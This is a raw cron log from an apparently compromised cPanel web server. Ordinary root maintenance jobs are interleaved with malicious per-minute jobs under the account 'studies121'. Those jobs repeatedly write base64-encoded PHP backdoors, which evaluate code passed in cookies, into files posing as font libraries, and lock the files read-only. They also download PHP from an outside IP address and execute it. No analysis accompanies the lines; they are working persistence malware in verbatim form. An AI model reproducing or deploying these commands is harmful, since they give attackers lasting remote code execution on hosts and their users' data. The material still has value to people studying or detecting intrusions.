Feb 22 19:08:01 ip-184-168-122-23 CROND[19462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:08:01 ip-184-168-122-23 CROND[19464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:08:01 ip-184-168-122-23 CROND[19465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:09:01 ip-184-168-122-23 CROND[19788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:09:01 ip-184-168-122-23 CROND[19787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:09:01 ip-184-168-122-23 CROND[19791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:09:01 ip-184-168-122-23 CROND[19792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:09:01 ip-184-168-122-23 CROND[19794]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20192]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:10:01 ip-184-168-122-23 CROND[20202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20203]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:10:01 ip-184-168-122-23 CROND[20204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:10:01 ip-184-168-122-23 CROND[20205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:11:01 ip-184-168-122-23 CROND[20546]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:11:01 ip-184-168-122-23 CROND[20545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:11:01 ip-184-168-122-23 CROND[20544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:11:01 ip-184-168-122-23 CROND[20550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:12:01 ip-184-168-122-23 CROND[20870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:12:01 ip-184-168-122-23 CROND[20871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:12:01 ip-184-168-122-23 CROND[20874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:12:01 ip-184-168-122-23 CROND[20873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:12:01 ip-184-168-122-23 CROND[20875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:13:01 ip-184-168-122-23 CROND[21195]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:13:01 ip-184-168-122-23 CROND[21197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:13:01 ip-184-168-122-23 CROND[21199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:13:01 ip-184-168-122-23 CROND[21198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:14:01 ip-184-168-122-23 CROND[21524]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:14:01 ip-184-168-122-23 CROND[21525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:14:01 ip-184-168-122-23 CROND[21527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:14:01 ip-184-168-122-23 CROND[21528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:14:01 ip-184-168-122-23 CROND[21530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:15:01 ip-184-168-122-23 CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:15:01 ip-184-168-122-23 CROND[21943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:15:01 ip-184-168-122-23 CROND[21946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:15:01 ip-184-168-122-23 CROND[21947]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:15:01 ip-184-168-122-23 CROND[21949]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:15:01 ip-184-168-122-23 CROND[21950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:16:01 ip-184-168-122-23 CROND[22299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:16:01 ip-184-168-122-23 CROND[22300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:16:01 ip-184-168-122-23 CROND[22302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:16:01 ip-184-168-122-23 CROND[22303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:16:01 ip-184-168-122-23 CROND[22305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 19:16:01 ip-184-168-122-23 CROND[22306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:17:01 ip-184-168-122-23 CROND[22643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:17:01 ip-184-168-122-23 CROND[22645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:17:01 ip-184-168-122-23 CROND[22647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:17:01 ip-184-168-122-23 CROND[22649]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:18:01 ip-184-168-122-23 CROND[22990]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:18:01 ip-184-168-122-23 CROND[22991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:18:01 ip-184-168-122-23 CROND[22994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:18:01 ip-184-168-122-23 CROND[22995]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:18:01 ip-184-168-122-23 CROND[22996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:19:01 ip-184-168-122-23 CROND[23356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:19:01 ip-184-168-122-23 CROND[23358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:19:01 ip-184-168-122-23 CROND[23361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:19:01 ip-184-168-122-23 CROND[23362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23734]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23736]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23744]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:20:01 ip-184-168-122-23 CROND[23750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
